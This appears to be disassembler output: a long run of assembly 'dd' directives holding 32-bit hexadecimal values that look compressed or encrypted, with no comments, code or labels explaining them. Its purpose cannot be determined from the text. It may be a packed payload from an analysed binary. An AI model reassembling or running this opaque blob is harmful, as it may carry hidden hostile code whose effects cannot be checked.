		dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
		dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
		dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
		dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
		dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
		dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
		dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
		dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
		dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
		dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
		dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
		dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
		dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
		dd 80EDAD2Fh, 6890DD1h,	4938F800h, 5328BAC6h, 0CB150A91h
		dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h,	7F5ABAF0h
		dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
		dd 559D8A6h, 0E6A8C4Ah,	0B7D49C00h, 0BCCDA06Bh,	7AC40E11h
		dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
		dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h,	394F73C0h
		dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
		dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
		dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch,	0BF00493Eh
		dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
		dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
		dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
		dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h,	105E0BB9h
		dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
		dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
		dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh
		dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh
		dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h
		dd 1451006Ch, 9EE325Dh,	0E590028Ah, 4DD78970h, 0BE81D489h
		dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h,	1D451723h
		dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h
		dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h
		dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh
		dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh,	0FF046FE0h
		dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h,	9880E10Fh
		dd 0F94594h, 15086EEBh,	81C49610h, 67D38600h, 0A528F895h
		dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh
		dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h,	2421F800h
		dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h,	0F4CF45Dh
		dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h
		dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h,	0ACA754D9h
		dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh
		dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h
		dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h,	99D4004Ch
		dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h
		dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh,	88008398h
		dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh,	0DB98DB75h
		dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh
		dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh
		dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh
		dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h,	1B094892h
		dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h
		dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h
		dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh
		dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h,	84D4295Dh
		dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h
		dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh
		dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h
		dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h
		dd 64407A7h, 906A1863h,	86D89A3Bh, 10AE7B00h, 2474DC2Fh
		dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h,	5EEEE674h
		dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh
		dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h,	42D480A4h
		dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh
		dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh
		dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh,	3DE45570h
		dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h
		dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h
		dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h
		dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh
		dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh
		dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h
		dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h,	0C540EBA0h
		dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch
		dd 25F74Ch, 0F64C9B90h,	0B00507h, 0AFECE901h, 0D854DF4Dh
		dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh,	283C3043h
		dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah
		dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h
		dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch
		dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h
		dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh
		dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh
		dd 0DA097540h, 5A9780h,	7B517358h, 7D0CC5EBh, 257A4B00h
		dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h
		dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h
		dd 47C589h, 0F441A74Ch,	0DC867FDBh, 0DB80600h, 0CFA4D27h
		dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h
		dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h
		dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh
		dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h
		dd 1602546h, 4CBAC38Ch,	0DCB49535h, 0F7F420F8h,	4301200h
		dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch
		dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h,	0C4972CEh
		dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h
		dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh
		dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh
		dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch
		dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h
		dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h,	0B975A775h
		dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h,	8A0EAA01h
		dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h,	8A215350h
		dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h
		dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h,	0CB92Ch
		dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h
		dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh
		dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h,	0C3EA004Ch
		dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h
		dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh
		dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h,	24B82Fh
		dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h,	1C080037h
		dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h
		dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h,	0CFBFF4h
		dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h,	96B438F3h
		dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh
		dd 6032C824h, 68C0DE09h
		dd 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh,	15E2E100h
		dd 2CF0CC2h, 4409F806h,	0D7C0086Ch, 313F744Ch, 32D08303h
		dd 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh
		dd 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h
		dd 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h
		dd 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h
		dd 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h
		dd 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h
		dd 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h,	0E8F980AFh
		dd 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h,	8A058902h
		dd 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h,	9DF50120h
		dd 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh
		dd 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h
		dd 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh
		dd 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h,	7021004Ch
		dd 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h
		dd 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h
		dd 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch
		dd 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h
		dd 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h
		dd 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh
		dd 3B887410h, 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh
		dd 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch,	687702C4h
		dd 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h
		dd 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h
		dd 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah
		dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh,	0C8C00B7h
		dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh
		dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h
		dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h
		dd 46A2F82h, 8800A495h,	4178C646h, 91085B8h, 436DAC14h
		dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h
		dd 59FCF3D8h, 11A7EEAh,	2B1864E5h, 30C3113Ch, 2330B9CFh
		dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h
		dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h
		dd 64B0B8h, 0EC1BF1A2h,	831F3C32h, 0C7813A07h, 6E10D9A1h
		dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h
		dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h
		dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h,	800F7BB1h
		dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh
		dd 0EE80751h, 750B0C8h,	0F39087ACh, 8BFA683Ah, 0FC91F08h
		dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah
		dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch
		dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h
		dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h
		dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h
		dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h
		dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h
		dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h
		dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh
		dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h
		dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h
		dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h
		dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h
		dd 8BFC40h, 0DD8192C4h,	7245618Ah, 95D5BE00h, 552DD3FEh
		dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh
		dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh
		dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h
		dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h,	62C2BD7Ch
		dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h
		dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h
		dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh
		dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h
		dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch
		dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h
		dd 234E9C24h, 4BE2600h,	81664CCh, 30F070Ah, 0B3AE9FFEh
		dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h
		dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h
		dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h,	0BCAF0390h
		dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh
		dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h
		dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h
		dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h
		dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h,	0B3CF9C0h
		dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh
		dd 4518E869h, 58C4CB1h,	0CE0D8007h, 40BE408Eh, 0C050B372h
		dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch,	0DD265E5Ah
		dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h,	0AA984ED3h
		dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h,	290C0514h
		dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h
		dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h,	0BBB8B00h
		dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh
		dd 95C05285h, 721E1CDh,	1EB22FC2h, 82BA79h, 710D638h, 8478C337h
		dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h,	0C18F42ACh
		dd 4E01017h, 455A14EDh,	623094FCh, 2341B6Ah, 63E90205h
		dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh
		dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h
		dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h,	1711A100h
		dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h
		dd 0B40B794h, 7D04C55h,	6122E02Bh, 856DA39Dh, 0E2B5ADD0h
		dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch
		dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h
		dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h
		dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh
		dd 110BC340h, 993D143h,	27FAEF41h, 83488E82h, 1641A1E2h
		dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h
		dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h
		dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch
		dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h
		dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h
		dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h
		dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h,	0FC889ECh
		dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h
		dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h,	8C1FA5A1h
		dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh
		dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h
		dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h
		dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h
		dd 34B2B380h, 8D2A107h,	96044E00h, 9017A832h, 1F82EE10h
		dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch
		dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh
		dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h
		dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h
		dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh
		dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh
		dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h
		dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h
		dd 4C46DA9Dh, 3F97F51h,	85D53A97h, 0CB8238Ch, 0C800EACAh
		dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh,	0D7D07881h
		dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh
		dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh
		dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh,	76173E09h
		dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h
		dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h
		dd 8EDF1B11h, 230B280h,	71CB5CEh, 8D1A0640h, 59A08F88h
		dd 46CD1834h, 720C81Dh,	8D001913h, 1709403Ch, 0F2D73B43h
		dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h
		dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh
		dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h
		dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h
		dd 0A54AFFh, 6DB69773h,	481A0D40h, 0B807D800h, 0F2A29DFEh
		dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h
		dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h
		dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh,	0EA21E30h
		dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh
		dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h
		dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h
		dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h
		dd 7C8B020h, 6214230Ch,	1CE5E0BFh, 1EE24EA7h, 0A5B4E904h
		dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh
		dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h
		dd 0F234675Ch, 4E0360h,	0CEA71FDBh, 85719C1Dh, 0BB8DE805h
		dd 98063CCAh, 3228025h,	776E2713h, 0A6C8E802h, 3300E90Ch
		dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh
		dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh
		dd 8233FDCh, 0FBC8C42h,	78C21259h, 1C941F60h, 0A472A7FFh
		dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh
		dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h
		dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h
		dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h,	0B0FF28B5h
		dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh
		dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h,	0B03DEB97h
		dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h
		dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h
		dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh,	24A0B609h
		dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h
		dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh
		dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h
		dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h
		dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h,	0BDE28D00h
		dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h
		dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh
		dd 0E46FA953h, 22CFEEh,	3EE18417h, 323F293Ch, 0CB6EAE00h
		dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh,	1201E883h
		dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h
		dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h
		dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h,	38002DE2h
		dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h
		dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h
		dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch,	0F8E37D40h
		dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh
		dd 6C1504F2h, 142F43Fh,	0E95018C8h, 13208DAEh, 62F023h
		dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h,	0C0A24BFFh
		dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h,	4B5C7C3Dh
		dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h,	0C6083145h
		dd 4E8C4D6h, 3F50E4F8h,	91263382h, 270BA3EEh, 48C800C3h
		dd 7E525F1h, 4C592D2Eh,	1A24E033h, 0D20031B0h, 585067D1h
		dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h
		dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh,	4E7C2F7Ch
		dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h
		dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h
		dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h
		dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h
